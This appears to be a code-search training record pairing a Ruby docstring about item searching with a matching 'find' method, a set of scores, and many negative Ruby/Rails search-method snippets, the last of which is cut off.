[ "0.61961645", "0.61514485", "0.6139942", "0.6127339", "0.6114387", "0.6085309", "0.60539526", "0.59656245", "0.5879024", "0.5862086", "0.5839043", "0.58037156", "0.58000684", "0.58000684", "0.58000684", "0.5782447", "0.5757625", "0.57280385", "0.5625291", "0.562232", "0.5620123", "0.5615707", "0.5582218", "0.55727553", "0.55667835", "0.55432945", "0.55432945", "0.55255276", "0.5509122", "0.54967725", "0.54934007", "0.54933167", "0.54930335", "0.54744166", "0.54696476", "0.5467574", "0.54672056", "0.54528624", "0.542296", "0.54229206", "0.54113483", "0.5406168", "0.53968275", "0.53968275", "0.539039", "0.53811085", "0.536416", "0.53638774", "0.5358993", "0.5348509", "0.5347004", "0.534408", "0.5309171", "0.53083205", "0.52972907", "0.5293987", "0.5293516", "0.52697134", "0.52667624", "0.5264277", "0.526264", "0.5256108", "0.52538455", "0.52427393", "0.52401423", "0.52399474", "0.52320594", "0.52320457", "0.5230222", "0.5227896", "0.52146494", "0.52111965", "0.52075917", "0.5205116", "0.519983", "0.5190738", "0.5181007", "0.51786196", "0.51777244", "0.5177401", "0.5177401", "0.5177401", "0.5177401", "0.5177401", "0.5177401", "0.5177401", "0.5177401", "0.5177401", "0.51708335", "0.5170621", "0.5169995", "0.51678604", "0.51525813", "0.51355153", "0.51317364", "0.5130479", "0.51293796", "0.5127631", "0.512619", "0.5124994", "0.51206195" ]
0.0
-1
Does the searching A search_result object will only provide results after calling this method The results depend of the given items, the search will return all matching items even if they are deactivated or belong to any current user. If you want to exclude some type of items you can exclude these items from the parameter 'items' or you can do it in the result 'found_items'
def find(items) query_array = query.gsub(/_/," ").downcase.split results = [] items.each{ |item| match_all = true query_array.each{ |query| description = item.description.gsub("/,/","~") if !item.name.gsub(/_/," ").downcase.include?(query) and !description.gsub(/_/," ").downcase.include?(query) match_all = false else if description.gsub(/_/," ").downcase.include?(query) self.description_map[item] = map_description_part(description, query) else self.description_map[item] = if item.description.size>=30 then item.description[0..27] + "..." else item.description end end end } if match_all results.push(item) end } self.found_items = results if self.found_items.size == 0 and self.query.size >= 2 suggest_other_query(items, query) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def search_filter(search_term)\n @items = @items.where('client_name like ? OR client_ssn like ? OR case_id like ?', \"%#{search_term}%\", \"%#{search_term}%\", \"%#{search_term}%\")\n @old_items = @items.where('client_name like ? OR client_ssn like ? OR case_id like ?', \"%#{search_term}%\", \"%#{search_term}%\", \"%#{search_term}%\")\n session[:search] = search_term\n end", "def user_items_list\n @items = Item.find_all_by_user_id(current_user.id)\n @categories = Category.all\n @search = Item.search(params[:search])\n @keyword = params[:search]\n end", "def search_items\n @resources = current_company.items.search_for(params[:name]).limit(10)\n @resources = Admin::InventoryItemDecorator.decorate(@resources)\n end", "def search_items(name, options = {})\n\t\t\tif (name.is_a?(Hash))\n\t\t\t\toptions = name\n\t\t\telse\n\t\t\t\toptions.merge!(:search => name)\n\t\t\tend\n\t\t\t\n\t\t\toptions.merge!(:type => @@search_types[:item])\n\t\t\treturn search(options)\n\t\tend", "def search_for_item\n search_service.fetch(params[:id], { fl: ['visibility_ssi'] })\n end", "def search_items(name, options = {})\n\t\t\tif (name.is_a?(Hash))\n\t\t\t\toptions = name\n\t\t\telse\n\t\t\t\toptions.merge!(:search => name)\n\t\t\tend\n\t\t\t\n\t\t\toptions.merge!(:type => @@search_types[:item])\n\t\t\t\n\t\t\tputs options.inspect if options[:debug]\n\t\t\treturn search(options)\n\t\tend", "def fetch_items\n items = @klass.order(\"#{sort_column} #{sort_direction}\")\n items = items.page(page).per_page(per_page)\n if @params[:sSearch].present?\n query = @fields.map { |field| \"#{field} ilike :search\" }.join(\" OR \")\n items = items.where(query, search: \"%#{@params[:sSearch]}%\")\n end\n return items\n end", "def query_items(items)\n query = params[:query].downcase.split(' ').join('%')\n query = ActiveRecord::Base.sanitize(\"%#{query}%\")\n items.where(search_query(query))\n end", "def find_borrowed_items\n \n # set saved search params only once from\n # params from the UI form\n if params[:page].to_i < 1\n prepare_saved_search_params\n end\n \n params[:search].to_yaml \n @data = process_search(params[:search], params[:page].to_i)\n \n render :partial => 'borrowed_items_search_results_wrapper'\n end", "def index\n @item_collections = ItemCollection.where('is_private=false')\n if !params[:search].nil? || params[:search] == ''\n t = ItemCollection.arel_table\n @item_collections = ItemCollection.where(t[:name].matches(\"%#{params[:search]}%\").and(t[:is_private].eq(false)))\n #@item_collections = ItemCollection.where('name LIKE ? AND is_private=false', \"%#{params[:search]}%\")\n end\n end", "def searched_items\n # search by city_section if that param is passed in (convert city_section string name to key for db lookup first)\n #if params[:city_section]\n # @the_things = DonorPickup.city_section_is(params[:city_section]).paginate(default_pagination_params)\n # return\n #end\n \n \n @the_things = DonorPickup.first_name_like(params[:search_first_name]).\n last_name_like(params[:search_last_name]).\n address_like(params[:search_address]).\n with_state(params[:search_state]).\n with_priority(params[:search_priority]).\n is_pending(params[:search_pending]).\n city_section_is(params[:search_city_section]).\n for_pickup_date_range(params[:search_pickup_time_lowest], params[:search_pickup_time_highest]).\n select{ |dp| params[:search_item_id].blank? ? true : dp.has_this_item?(params[:search_item_id].to_i)}.\n paginate(default_pagination_params)\n \n end", "def index\n if params[:search]\n @items = Item.all.order(id: :desc).page(params[:page]).per(20).where(\"(name_item LIKE ?) OR (maker LIKE ?)\", \"%#{params[:search]}%\", \"%#{params[:search]}%\")\n else\n @items = Item.all.order(id: :desc).page(params[:page]).per(20)\n end\n end", "def search\n if params[:search].present?\n # This is for the elastic search\n #@bid_items = BidItem.search(params[:search])\n\n # Those are Ruby SQL queries\n # This is to search item_name\n #@bid_items = BidItem.where(:item_name => params[:search])\n # This is to search price larger than\n @bid_items = BidItem.where(\"starting_price > ?\", params[:search])\n else\n @bid_items = BidItem.order(\"id DESC\").limit(30)\n end\n end", "def get_results\n # 1. if the search is blank do NOT run the search (handled in subclasses)\n !self.search_text.blank? && !self.search_query.blank? && !self.search_type.blank? && !self.search_locale.blank?\n end", "def index\n @items=Item.where(:activated => true) #TODO: Add availability\n @categories = Category.all\n @search = Item.search(params[:search])\n @keyword = params[:search]\n @items = @search.where(:activated => true) # or @search.relation to lazy load in view\n @items = @items.paginate(:per_page=>16, :page=>params[:page]) #@category.items\n end", "def user_search_results\n @limit = 25\n load_facility\n @price_group = PriceGroup.find(params[:price_group_id]) if params[:price_group_id].present?\n @account = Account.find(params[:account_id]) if params[:account_id].present?\n @product = Product.find(params[:product_id]) if params[:product_id].present?\n @search_type = valid_search_types.find { |t| t == params[:search_type] }\n @users, @count = UserFinder.search_with_count(params[:search_term], @limit)\n\n render layout: false\n end", "def filter_matched_items(items)\n []\n end", "def search_results(user_params)\n search_service(user_params).search_results\n end", "def searches\n full = options[:full]\n item_list.map { |item|\n next unless item.is_a?(Search)\n entry = {\n query_params: item.sorted_query,\n updated_at: item.updated_at,\n created_at: item.created_at,\n }\n full && entry.merge!(\n id: item.id,\n user_id: item.user_id,\n user_type: item.user_type,\n )\n entry\n }.compact.as_json\n end", "def index\n\n # Grab user's diets as saved in profile and pass it into the search\n user_diets = current_user.compile_diets\n\n if params[:search_by_diet].present?\n allowed_diets_in_search = (user_diets << params[:search_by_diet]).flatten!\n else\n allowed_diets_in_search = user_diets\n end\n\n # Grab user's allergies as saved in profile and pass it into the search\n user_allergies = current_user.compile_allergies\n\n if params[:search_by_allergy].present?\n allowed_allergies_in_search = (user_allergies << params[:search_by_allergy]).flatten!\n else\n allowed_allergies_in_search = user_allergies\n end\n\n user_excluded_ingredients = current_user.compile_excluded_ingredients\n\n @results = Yummly.search(\n params[:search_by_all],\n \"maxTotalTimeInSeconds\" => params[:search_by_time],\n \"allowedCourse[]\" => params[:search_by_course],\n \"allowedAllergy[]\" => allowed_allergies_in_search,\n \"allowedDiet[]\" => allowed_diets_in_search,\n \"excludedIngredient[]\" => user_excluded_ingredients,\n maxResult: 50);\n \n\n end", "def index\n @mail_item = MailItem.new #use for search form\n\n @mail_items = if params[:mail_item] && (query = params[:mail_item][:email])\n MailItem.where(:user_id => current_user.id)\n .where('email like ? OR source_name like ? OR name like ?', \"%#{query}%\", \"%#{query}%\", \"%#{query}%\")\n .paginate(:page => params[:page] || 1, :per_page => 50).order(\"updated_at DESC\")\n else\n MailItem.where(:user_id => current_user.id)\n .paginate(:page => params[:page] || 1, :per_page => 50).order(\"updated_at DESC\")\n end\n end", "def index\n @q = FoundItem.ransack(params[:q])\n @found_items = @q.result\n end", "def search\n @results = Tool.ordered_by(params[:order])\n\n if params[:q].present?\n @results = @results.search(params[:q])\n end\n\n if Tool::ALLOWED_TYPES.include?(params[:type])\n @results = @results.where(type: params[:type])\n end\n\n @results = @results.offset(@start).limit(@items)\n\n @total = @results.count(:all)\n end", "def search_items(opts = {})\n data, _status_code, _headers = search_items_with_http_info(opts)\n data\n end", "def search\n @search ||= exhibit.searches.first\n # @searches ||= exhibit.searches.published.where(slug: item_ids).sort do |a, b|\n # order.index(a.slug) <=> order.index(b.slug)\n # end\n end", "def get_autocomplete_items(parameters)\n items = super(parameters)\n if current_user.admin?\n items\n else\n items.includes(:users).where(users:{id: current_user.id})\n end\n end", "def extra_search_actions(items, extra_filters = [], kind = nil)\n (extra_filters || []).each do |filter|\n case filter\n when 'my_country'\n case kind || params[:type]\n when 'people', 'counselors'\n items = items.where(country: current_user.country)\n when 'churches', 'groups'\n items = items.joins(:user).where(users:{ country: current_user.country })\n when 'contents'\n items = items.joins(:user).where(users:{ country: current_user.country })\n when 'events'\n items = items.joins('inner join user_groups on user_groups.id = events.eventable_id and events.eventable_type = \\'UserGroup\\' inner join users on users.id = user_groups.user_id').where('users.country = ?', current_user.country)\n \n # TODO\n end\n when 'my_groups'\n case kind || params[:type]\n when 'people', 'counselors'\n items = items.joins(:user_groups).where(user_groups: {id: current_user.user_groups.pluck(:id)})\n when 'churches', 'groups'\n items = items.where(id: current_user.user_groups.select(:id))\n when 'contents'\n items = items.where(user_id: current_user.user_groups_members.select(:id))\n when 'events'\n items = items.where(id: current_user.user_groups_events.select(:id))\n end\n end\n end\n items\n end", "def search(params={:SearchIndex => :Books, :ResponseGroup => :Medium})\n response = call(params.merge(:Operation => :ItemSearch))\n arrayfy(response['ItemSearchResponse']['Items']['Item']).map {|item| handle_type(item, :item)}\n end", "def search\n puts params[:terms]\n query = 'FALSE'\n params[:terms].split(',').each do |term|\n query += \" OR item.name iLIKE ? OR ingredients.unit iLIKE ? OR ingredients.quantity iLIKE ?\"\n end\n @items = Item.where(query, *params[:terms].split(',').map { |i| \"%\"+i+\"%\"}, *params[:terms].split(',').map { |i| \"%\"+i+\"%\"}, *params[:terms].split(',').map { |i| \"%\"+i+\"%\"}).eager_load(:ingredients)\n if @items.any?\n @recipes = Recipe.joins(:ingredients).where('ingredients.item_id IN (?)', @items.pluck(:id)).uniq\n end\n end", "def handle_search(search_term)\n if @@items.include?(search_term) #?\n return \"#{search_term} is one of our items\" #we can do different things depending on the search path\n else\n return \"Couldn't find #{search_term}\"\n end\n end", "def search\n @search_criteria =\"\"\n if params[:q].eql? \"\"\n @search_criteria =\"All\"\n @items = Item.all.paginate(:page => params[:page], per_page: 9)\n else\n @st = \"%#{params[:q]}%\"\n @search_criteria = params[:q]\n @items = Item.where(\"LOWER(title) LIKE ?\", @st.downcase).paginate(:page => params[:page], per_page: 9)\n end\n end", "def complete_search\n if is_boolean? && !!@search_value != @search_value\n puts 'No result found'\n return\n end\n if NUMBER_TO_OBJECT_MAP[@object].column_names.include?(@search_term)\n results = NUMBER_TO_OBJECT_MAP[@object].where(\"#{@search_term}\" => @search_value)\n else\n results = NUMBER_TO_OBJECT_MAP[@object].joins(@search_term.to_sym).where(\"#{@search_term}\" => { value: @search_value })\n end\n \n if !results.empty?\n puts 'Result'\n puts '-------------'\n results.each do |result|\n result.render_object\n end\n else\n puts 'No result found'\n end\n results\n end", "def index\n if params[:search]\n @items = Item.where('name LIKE ? OR category LIKE ?', \"%#{params[:search]}%\", \"%#{params[:search]}%\")\n # session[:conversations] ||= []\n # @conversations = Conversation.all.where(id: @items.ids)\n # @conversations = Conversation.includes(:recipient, :messages).find(session[:conversations])\n else\n @items = Item.all\n end \n\n end", "def search_for_item\n Rails.logger.warn(\"starting search for item for #{request.headers['X-Origin-URI']}\")\n child_oid = request.headers['X-Origin-URI'].gsub(/^\\/iiif\\/2\\/(\\d+)\\/.*/, '\\1')\n # search_state[:q] = { child_oids_ssim: child_oid }\n search_state[:rows] = 1\n search_service_class.new(config: blacklight_config, search_state: search_state, user_params: search_state.to_h, **search_service_context)\n r, d = search_service.search_results do |builder|\n builder.where(child_oids_ssim: [child_oid])\n builder.processor_chain.delete(:filter_by_visibility)\n builder\n end\n [r, d.first]\n end", "def index\n query = params[:query].to_s.strip\n per_page = Item.default_per_page\n @count = {}\n if user_signed_in?\n if current_user.has_role?('Librarian')\n if request.format.text?\n per_page = 65534\n elsif params[:mode] == 'barcode'\n per_page = 40\n end\n end\n end\n\n if defined?(InventoryFile)\n if @inventory_file\n if user_signed_in?\n if current_user.has_role?('Librarian')\n case params[:inventory]\n when 'not_in_catalog'\n mode = 'not_in_catalog'\n else\n mode = 'not_on_shelf'\n end\n order = 'items.id'\n @items = Item.inventory_items(@inventory_file, mode).order(order).page(params[:page]).per(per_page)\n else\n access_denied\n return\n end\n else\n redirect_to new_user_session_url\n return\n end\n end\n end\n\n unless @inventory_file\n search = Sunspot.new_search(Item)\n selected_attributes = [\n :id, :item_identifier, :call_number, :manifestation_id, :acquired_at,\n :binding_item_identifier, :binding_call_number, :binded_at,\n :include_supplements, :url, :note,\n :circulation_status_id, :shelf_id,\n :created_at, :updated_at\n ]\n selected_attributes += [\n :memo, :required_role_id, :budget_type_id, :bookstore_id, :price\n ] if current_user.try(:has_role?, 'Librarian')\n search.data_accessor_for(Item).select = selected_attributes\n set_role_query(current_user, search)\n\n @query = query.dup\n if query.present?\n search.build do\n fulltext query\n end\n end\n\n agent = @agent\n manifestation = @manifestation\n shelf = @shelf\n unless params[:mode] == 'add'\n search.build do\n with(:agent_ids).equal_to agent.id if agent\n with(:manifestation_id).equal_to manifestation.id if manifestation\n with(:shelf_id).equal_to shelf.id if shelf\n with(:circulation_status).equal_to params[:circulation_status] if params[:circulation_status].present?\n facet :circulation_status if defined?(EnjuCirculation)\n end\n end\n\n search.build do\n order_by(:created_at, :desc)\n end\n\n role = current_user.try(:role) || Role.default\n search.build do\n with(:required_role_id).less_than_or_equal_to role.id\n end\n\n if params[:acquired_from].present?\n begin\n acquired_from = Time.zone.parse(params[:acquired_from]).beginning_of_day\n @acquired_from = acquired_from.strftime('%Y-%m-%d')\n rescue ArgumentError\n rescue NoMethodError\n end\n end\n if params[:acquired_until].present?\n begin\n acquired_until = @acquired_until = Time.zone.parse(params[:acquired_until]).end_of_day\n @acquired_until = acquired_until.strftime('%Y-%m-%d')\n rescue ArgumentError\n rescue NoMethodError\n end\n end\n search.build do\n with(:acquired_at).greater_than_or_equal_to acquired_from.beginning_of_day if acquired_from\n with(:acquired_at).less_than acquired_until.tomorrow.beginning_of_day if acquired_until\n end\n\n page = params[:page] || 1\n search.query.paginate(page.to_i, per_page)\n result = search.execute\n @circulation_status_facet = result.facet(:circulation_status).rows if defined?(EnjuCirculation)\n @items = result.results\n @count[:total] = @items.total_entries\n end\n\n flash[:page_info] = { page: page, query: query }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json\n format.text\n format.atom\n end\n end", "def index\n if params[:order_by]\n @items = Item.all.order(params[:order_by])\n elsif params[:search_category]\n @items = Item.search_category(params[:search_category])\n elsif params[:search_brand]\n @items = Item.search_brand(params[:search_brand])\n elsif params[:search_availability]\n @items = Item.search_availability(params[:search_availability])\n else\n @items = Item.all\n end\n end", "def gather_search\n local_search = Search.search @query\n unless local_search.nil?\n local_search = FoodItem.fetch_local_items local_search['food_items']\n return local_search unless local_search.nil?\n end\n\n remote_search = search_apis @query # adds searches remote end for elements\n unless remote_search.nil?\n Search.add @query, remote_search # adds elements to search\n remote_search = add_multiple_food_items remote_search unless remote_search.nil?\n return remote_search unless remote_search.nil?\n end\n\n nil # fallback\n end", "def index\n @found_items = FoundItem.all\n end", "def index\n # session[:have_page] = url_for(params.except(:page))\n within = nil\n if session[:within].present? then within = session[:within].to_i end\n begin\n #if category params present (except all) and search not present\n if params[:category].present? and !params[:category].blank? and params[:category] != 'all' and !params[:search].present?\n @results_for = Category.find_by_id(params[:category]).name.titleize\n if params[:sort_by].present? and (params[:sort_by] == \"distance\" or params[:sort_by] == \"most offered\")\n #sort by distance or most offered\n search_result = Item.item_search(nil, params[:category], params[:sort_by],nil,nil, params[:page], session[:user_ll], within, nil)\n elsif params[:sort_by].present? and params[:sort_by] == \"friends\"\n #friends items\n search_result = Item.item_search(nil, params[:category], params[:sort_by],nil,nil, params[:page], session[:user_ll], within, nil, current_user.id)\n else\n #sort by Most Recent\n search_result = Item.item_search(nil, params[:category], nil,nil,nil, params[:page], session[:user_ll], within, nil)\n end\n if search_result.present?\n @items = search_result.results\n # @distance = Item.calculate_distance(@items,session[:user_ll])\n @i_total = search_result.total\n else\n @items =[]\n @i_total = 0\n end\n #else if search params are present, then search based on search text\n elsif params[:search].present? and !params[:category].present?\n @results_for = params[:search]\n if params[:sort_by].present? and (params[:sort_by] == \"distance\" or params[:sort_by] == \"most offered\")\n #sort by distance or most offered\n search_result = Item.item_search(params[:search], nil, params[:sort_by],nil,nil, params[:page], session[:user_ll], within, nil)\n elsif params[:sort_by].present? and params[:sort_by] == \"friends\"\n #friends items\n search_result = Item.item_search(params[:search], nil, params[:sort_by],nil,nil, params[:page], session[:user_ll], within, nil, current_user.id)\n else\n #sort by Most Recent\n search_result = Item.item_search(params[:search], nil, nil,nil,nil, params[:page], session[:user_ll], within, nil)\n end\n if search_result.present?\n @items = search_result.results\n # @distance = Item.calculate_distance(@items,session[:user_ll])\n @i_total = search_result.total\n else\n @items =[]\n @i_total = 0\n end\n #else fetch all items\n else\n @results_for = \"All Goods and Services\"\n if params[:sort_by].present? and (params[:sort_by] == \"distance\" or params[:sort_by] == \"most offered\")\n #sort by distance or most offered\n search_result = Item.item_search(nil, nil, params[:sort_by], nil,nil,params[:page], session[:user_ll], within, nil)\n elsif params[:sort_by].present? and params[:sort_by] == \"friends\"\n #friends items\n search_result = Item.item_search(nil, nil, params[:sort_by], nil,nil,params[:page], session[:user_ll], within, nil, current_user.id)\n else\n #sort by Most Recent\n search_result = Item.item_search(nil, nil, nil,nil,nil, params[:page], session[:user_ll], within, nil)\n end\n if search_result.present?\n @items = search_result.results\n # @distance = Item.calculate_distance(@items,session[:user_ll])\n @i_total = search_result.total\n else\n @items =[]\n @i_total = 0\n end\n end\n if @items.blank?\n # Empty Results Browse Page\n # Popular Items\n search_result_popular_items = Item.item_search(nil, nil, \"most offered\", nil,nil,1, session[:user_ll], nil,10)\n @popular_items = search_result_popular_items.results\n end\n # Friends Section \n @friends_not_on_tradeya = current_user.friends_not_on_tradeya\n @friends_on_tradeya = current_user.friends_on_tradeya\n \n # Send email when an invited user joins\n if current_user.sign_in_count == 1 and !current_user.welcome_user and current_user.invited_by.present?\n UserMailer.friends_joined(current_user.id,current_user.invited_by).deliver\n end\n\n rescue StandardError => e\n @items = []\n @i_total = 0\n end\n respond_to do |format|\n if params[:page]\n format.js\n else\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end\n end", "def filter_available_for *items\n items.any? do |item|\n item = [item] unless item.is_a? Array\n item.reduce(filter_params) do |memo,it|\n if memo.is_a?(Hash)\n if memo[it].nil?\n false\n else\n memo[it]\n end\n else\n false\n end\n end\n end\n end", "def products_search_results\n @name = params[\"search_field\"]\n search = @name.split(\"_\")\n \n @products = Product.where(florist_id: session[\"found_florist_id\"]).where(\"name ilike ?\", \"%#{search[0]}%\").where(\"name ilike ?\", \"%#{search[1]}%\").where(\"name ilike ?\", \"%#{search[2]}%\").order(\"status\", \"product_type\", \"name\").paginate(:page => params[:page], :per_page => 25)\n @PRODUCT_UPDATE_MUST_HAVE = PRODUCT_UPDATE_MUST_HAVE\n render(:products_search_results) and return\n end", "def find_items(params)\n\t\tif params.has_key?(:loc) and params.has_key?(:search)\n\t\t\t@loc = params[:loc]\n\t\t\t\n\t\t\t# @issues = current_user.business.issues.search(params[:search], \"name|description\").where(state: \"publish\", department_area_id: @loc).order(created_at: :desc).page(params[:page])\n\t\t\t# @issues = Issue.search(params[:search], \"name|description\", params[:page]).where(state: \"publish\", department_area_id: @loc).order(created_at: :desc).page(params[:page])\n\t\t\t@problems = Item.includes(:type).search(params[:search], \"name|description\", params[:page]).where(department_area_id: @loc).order(created_at: :desc).page(params[:page])\n\t\telsif params.has_key?(:search)\n\t\t\t# @issues = Issue.search(params[:search], \"name|description\", params[:page]).where(state: \"publish\").order(created_at: :desc).page(params[:page])\n\t\t\t@problems = Item.includes(:type).search(params[:search], \"name|description\", params[:page]).order(created_at: :desc).page(params[:page])\n\t\t\t\n\t\telse\n\t\t\t\n\t\t\t# @issues = Issue.where(state: \"publish\").order(created_at: :desc).page(params[:page])\n\t\t\t@problems = Item.includes(:type).order(created_at: :desc).page(params[:page])\n\t\t\t# @issues = current_user.business.issues.where(state: \"publish\").order(created_at: :desc).page(params[:page])\n\n\t\tend\n\tend", "def show\n @results = MenuItem.search(params[:search])\n if @results == nil\n else\n @order.append_item(@results)\n end\n end", "def index\n @q = Item.search(params[:q])\n @items = @q.result(distinct: true)\n end", "def find_items_like_mine\n\t\tif self.forsale\n\t\t\treturn Item.where('ownership_id == ? AND lower(name) == ?', WANTED, self.name.downcase) \n\t\telsif self.wanted \n\t\t\treturn Item.where('ownership_id == ? AND lower(name) == ?', FORSALE, self.name.downcase)\n\t else \n\t \t\treturn nil \t \n\t end \n\tend", "def find_items_like_mine\n if self.forsale\n return Item.where('ownership_id == ? AND lower(name) == ?', WANTED, self.name.downcase)\n elsif self.wanted\n return Item.where('ownership_id == ? AND lower(name) == ?', FORSALE, self.name.downcase)\n else\n return nil\n end\n end", "def search (search_term)\n\n res = Amazon::Ecs.item_search(search_term , :search_index => 'All')\n items = res.marshal_dump\n items_return = []\n #puts res.marshal_dump\n Hash.from_xml(items)[\"ItemSearchResponse\"][\"Items\"][\"Item\"].each do |item|\n myitem = item[\"ItemAttributes\"]\n myitem.merge!(\"DetailPageURL\" => item[\"DetailPageURL\"])\n myitem.merge!(\"ASIN\" => item[\"ASIN\"])\n #m = find_prices(myitem[\"ASIN\"])\n #puts m\n #sleep(100)\n sleep 1\n myitem.merge!(\"Prices\" => self.find_prices(item[\"ASIN\"]) )\n #puts myitem[\"ASIN\"]\n #puts myitem\n\n #myitem.merge!(find_prices(myitem[\"ASIN\"]))\n items_return.push(myitem)\n end\n\n items_return\n end", "def index\n @users = User.all\n @items = Item.all\n\n \n if params[:search]\n @users = User.search(params[:search]).order(\"created_at DESC\")\n else\n @users = User.all.order(\"created_at DESC\")\n end\n end", "def itemSearch(item)\n targets = []\n @actions.each do |x|\n targets << x if x[item]\n end\n return targets\n end", "def index\n @search = Item.search(params[:q])\n @search.sorts = 'name asc' if @search.sorts.empty?\n @items = @search.result\n if params[:q].present?\n params[:q].each do |k, v| \n if v == 'name asc'\n @items = @search.result.sort { |p1, p2| p1.name.downcase <=> p2.name.downcase }\n elsif v == 'name desc'\n @items = @search.result.sort { |p2, p1| p1.name.downcase <=> p2.name.downcase }\n end\n end\n end\n end", "def search\n return @accounts.select{|el| el.created_at.to_s.starts_with?(params[:search_account]) || el.id.to_s.starts_with?(params[:search_account]) ||\n el.user_id.to_s.starts_with?(params[:search_account]) ||\n el.sortCode.to_s.starts_with?(params[:search_account]) || el.balance.to_s.starts_with?(params[:search_account]) ||\n el.currency.to_s.starts_with?(params[:search_account])}\n end", "def search_by_zip\n begin\n if params[:zipcode] and params[:zipcode].present? and Item.isNumber(params[:zipcode])\n search_result = Item.search_by_zipcode(params[:zipcode],session[:user_ll])\n @items = search_result[0]\n # @completed = search_result[1]\n @distance = search_result[2]\n # @comp_distance = search_result[3]\n @completed = []\n @comp_distance = []\n @usr_trd = []\n if current_user then @usr_trd = current_user.user_tradeya_ids(false) end\n else\n @completed = []\n @items = []\n end\n rescue\n @completed = []\n @items = []\n end\n end", "def list_entries_with_search\n list_entries_without_search.where(search_condition)\n end", "def search(**args)\n params = parameters(args) do\n required_params :term\n optional_params :term, :item_type, :start, :limit, :exact_match\n end\n request(:get, 'searchResults', params)\n end", "def index\n @items = Item.all\n\n if params[:search]\n @items = Item.search(params[:search]).order(\"created_at DESC\")\n else\n @items = Item.all.order(\"created_at DESC\")\n end\n\n session[:conversations] ||= []\n\n @users = User.all.where.not(id: current_user)\n @conversations = Conversation.includes(:recipient, :messages)\n .find(session[:conversations])\n end", "def filter_items\n @filter_items ||= []\n end", "def search(params = {})\n url = build_url('item_summary', 'search')\n http.headers(build_headers).get(url, params: params)\n end", "def search\n @results = Cookbook.search(\n params.fetch(:q, nil)\n ).offset(@start).limit(@items)\n end", "def all_search\n @results ||= []\n feat_keyword ||= {:name_contains => params[:q]}\n reward_keyword ||= {:partner_business_name_contains => params[:q]}\n\n Feat.search(feat_keyword).all.each do |r|\n @results << r\n end if !Feat.search(feat_keyword).all.nil? && feat_keyword.length > 0\n\n Reward.search(reward_keyword).all.each do |r|\n @results << r\n end if !Reward.search(reward_keyword).all.nil? && reward_keyword.length > 0\n end", "def index\n @items = Item.order(name: :asc)\n @available_items = Item.where(available: :true)\n @unavailable_items = Item.where(available: :false)\n end", "def extract_matched_items(items)\n []\n end", "def index\n @wanted_items = WantedItem.all\n end", "def search(index, query_or_params = nil)\n params = case query_or_params\n when String\n { 'Keywords' => query_or_params }\n else\n query_or_params\n end\n rebuild params.merge! 'Operation' => 'ItemSearch',\n 'SearchIndex' => Utils.camelize(index.to_s)\n\n check_response\n end", "def search\n @user = current_user\n @query = params[:query]\n @resulted_users = Admin.search_user(@query.downcase)\n @resulted_users.delete @user\n @resulted_users.sort! {|a,b| a.email <=> b.email}\n render layout: 'mobile_template'\n end", "def search_inventory(prompt, search_results, results_printable_array)\r\n \r\n # Asks user to choose which item they'd like to view\r\n chosen_item = choose_item('light_green', prompt, search_results, results_printable_array)\r\n\r\n # Outputs results of search_function method\r\n # puts results_printable_array ; puts\r\n\r\n end", "def new_items_list\n @items = Item.where(:activated => true).sort{ |b,a| a.created_at <=> b.created_at } #TODO: Add availability\n @items = @items.first(16)\n #TODO: Once we have populated more data, maybe show 12 items instead of four\n @categories = Category.all\n @search = Item.search(params[:search])\n @keyword = params[:search]\n end", "def search_results\n @query = params[:user]\n processed_query = sanitize(@query)\n @source = params[:source]\n @results = ApiHelper.user_search(processed_query, USER_COUNT, @source)\n if @results.count == 0\n flash[:notice] = \"No users matching '#{@query}'.\"\n end\n render 'search'\n end", "def search\n @results = Extension.search(\n params.fetch(:q, nil)\n ).offset(@start).limit(@items)\n\n @total = @results.count(:all)\n end", "def apply_search(results:)\n return results unless search_params.present?\n\n terms = search_params[:search_words] || ''\n return results unless terms.present?\n\n results.search(term: terms)\n end", "def show\n @item=Item.find(params[:id])\n @search = Item.search(params[:search])\n @keyword = params[:search]\n if @item.nil? or @item.activated==false\n redirect_to(:controller => 'home',:action => 'index')\n else\n @categories=Category.all\n end\n\n end", "def index\n @items = Item.includes(:user).where(availability: TRUE)\n end", "def show\n @item = @site.items.find(params[:id], :conditions => {:published => true})\n # if a page paramenter exists then we know the item was from that page\n # so we can narrow the search to that page, otherwise we need all the items\n # from the site but will paginate needs a page size so... 1,000,000\n page_size = 10 # 1 million results max... Needs rethinking\n \n # get next/previous items in current context if they exist\n @items = Item.search_from_params(get_search_params(params).merge(:published => true), @site.id ,page_size)\n index = @items.index(@item)\n\n @next_item = @item.next_by_id\n @previous_item = @item.previous_by_id\n \n add_crumb(\"Search\", items_path(get_search_params(params), :subdomain => @site.title))\n add_crumb @item.title\n store_location :items_return\n render :layout => \"site\"\n end", "def search\n\n end", "def index\n @items = Item.search(params[:search]).page(params[:page]).per(40)\n end", "def find_item_request(options)\n search_type, search_value = nil, nil\n options.each_pair do |key, value|\n if @@valid_search_types.include? key.to_s.upcase\n if search_type || search_value\n raise ArgumentError.new(\"Only one search criteria at a time is allowed: '#{options}'\")\n end\n\n search_type, search_value = key, value\n end\n end\n unless search_type && search_value\n raise ArgumentError.new(\"Missing valid search type and value: '#{options}'\")\n end\n\n request exact_search_request_hash(search_type, search_value), need_auth_id(self.patron_barcode, self.patron_library_symbol)\n end", "def search\n @users = User.search(@search_term)\n @tweets = Tweet.search(@search_term)\n @tags = Tag.search(@search_term)\n end", "def index\n page_size = 12\n @page = params[:page].nil? ? 1 : params[:page].to_i\n @items = current_user.items.all\n @items = @items.where(name: params[:name]) unless params[:name].nil?\n # count total item before paging\n flash[:notice] = \"Total item found : #{@items.count}\"\n \n @items = @items.limit(page_size).offset((@page.to_i - 1) * page_size).order(date: :desc)\n @total_page = (current_user.items.count / page_size.to_f).ceil\n\n @paginator_iter_count = (1..10)\n @paginator_iter_count = (@page - 5..@page + 5) if @page >= 10 && @page <= @total_page - 10\n @paginator_iter_count = (@total_page - 10..@total_page) if @page > @total_page - 10\n\n @item_types = Item.new.item_type_option\n end", "def search_results\n pages = Alchemy::PgSearch.config[:page_search_scope].pages\n # Since CanCan cannot (oh the irony) merge +accessible_by+ scope with pg_search scopes,\n # we need to fake a page object here\n if can? :show, Alchemy::Page.new(restricted: true, public_on: Date.current)\n pages.full_text_search(params[:query])\n else\n pages.not_restricted.full_text_search(params[:query])\n end\n end", "def searchUsers\n # if current_user.rolable.class.name == \"Charity\"\n # return User.where.not(rolable_type: 'Business')\n # # list_a = 